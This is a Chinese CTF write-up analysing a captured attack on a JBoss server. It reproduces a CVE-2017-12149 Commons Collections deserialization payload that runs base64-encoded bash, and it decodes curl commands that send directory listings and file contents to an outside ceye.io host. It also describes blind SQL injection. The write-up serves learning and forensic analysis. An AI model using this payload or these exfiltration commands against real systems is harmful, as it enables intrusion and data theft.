Fork me on GitHub

流量分析

1.追踪HTTP流,发现刚开始是对后台admin-console的爆破,但是并没有成功

2.继续向下查看,发现有/invoker/readonly,想到CVE-2017-12149

payload在post部分,将所有payload复制下来

1
2
3
4
....sr..java.util.HashSet.D.....4...xpw.....?@......sr.4org.apache.commons.collections.keyvalue.TiedMapEntry....9......L..keyt..Ljava/lang/Object;L..mapt..Ljava/util/Map;xpt..foosr.*org.apache.commons.collections.map.LazyMapn....y.....L..factoryt.,Lorg/apache/commons/collections/Transformer;xpsr.:org.apache.commons.collections.functors.ChainedTransformer0...(z.....[.
iTransformerst.-[Lorg/apache/commons/collections/Transformer;xpur.-[Lorg.apache.commons.collections.Transformer;.V*..4.....xp....sr.;org.apache.commons.collections.functors.ConstantTransformerXv..A......L. iConstantq.~..xpvr..java.lang.Runtime...........xpsr.:org.apache.commons.collections.functors.InvokerTransformer...k{|.8...[..iArgst..[Ljava/lang/Object;L..iMethodNamet..Ljava/lang/String;[..iParamTypest..[Ljava/lang/Class;xpur..[Ljava.lang.Object;..X..s)l...xp....t.
getRuntimeur..[Ljava.lang.Class;......Z....xp....t. getMethoduq.~......vr..java.lang.String...8z;.B...xpvq.~..sq.~..uq.~......puq.~......t..invokeuq.~......vr..java.lang.Object...........xpvq.~..sq.~..ur..[Ljava.lang.String;..V...{G...xp....t.Ibash -c {echo,Y3VybCBodHRwOi8vNXJxZm9nLmNleWUuaW8v}|{base64,-d}|{bash,-i}t..execuq.~......q.~. sq.~..sr..java.lang.Integer.......8...I..valuexr..java.lang.Number...........xp....sr..java.util.HashMap......`....F.
loadFactorI. thresholdxp?@......w.........xxx

其中反序列化执行的命令是bash -c {echo,Y3VybCBodHRwOi8vNXJxZm9nLmNleWUuaW8v}|{base64,-d}|{bash,-i}

  • Y3VybCBodHRwOi8vNXJxZm9nLmNleWUuaW8v解码得到curl http://5rqfog.ceye.io/
  • Y3VybCBodHRwOi8vNXJxZm9nLmNleWUuaW8vYGNkIC8gJiYgbHN8YmFzZTY0fHRyIFwiXG5cIiBcIi1cImA=解码得到
    1
    curl http://5rqfog.ceye.io/`cd / && ls|base64|tr \"\n\" \"-\"``,

读服务器的配置文件

  • 其他不再一一解码,都是在读取服务器配置文件
  • Y3VybCBodHRwOi8vNXJxZm9nLmNleWUuaW8vYGNhdCBmbGFne2RlM2VyMWFsMXphdGkwbmA=解码得到curl http://5rqfog.ceye.io/`cat flag{de3er1al1zati0n`,得到一部分flag。

3.再往后跟,发现成功进到后台,那应该是读到密码了,前面如果把所有的都解码了的话,那应该拿到了第二部分flag,就是用户密码_weakpa3sw0rd,就算没有全部解完,在登陆的流量包中也能看到

4.继续往下看是上传的webshell,但是并没有后续利用

5.再往后能明显看到对这个网站的其他端口的盲注

用的是穷举法,那么(mid(database(),1,1),在mid()中,第二个若是变化,则前一个已经匹配出来了,得到database为fiyOcms,这里有个小坑,虽然起始位置有8,但是并没有9,且最后位置为~,穷举法的变量最后一个。当穷举到正确数据时,会有一个延时,但是8之后并没有延时,所以不是有效数据。

接下来时读取表名,同上,得到带三部分flag,_t1mebl1ndness}
6.则flag为flag{de3er1al1zati0n_weakpa3sw0rd_t1mebl1ndness}

-------------本文结束感谢您的阅读-------------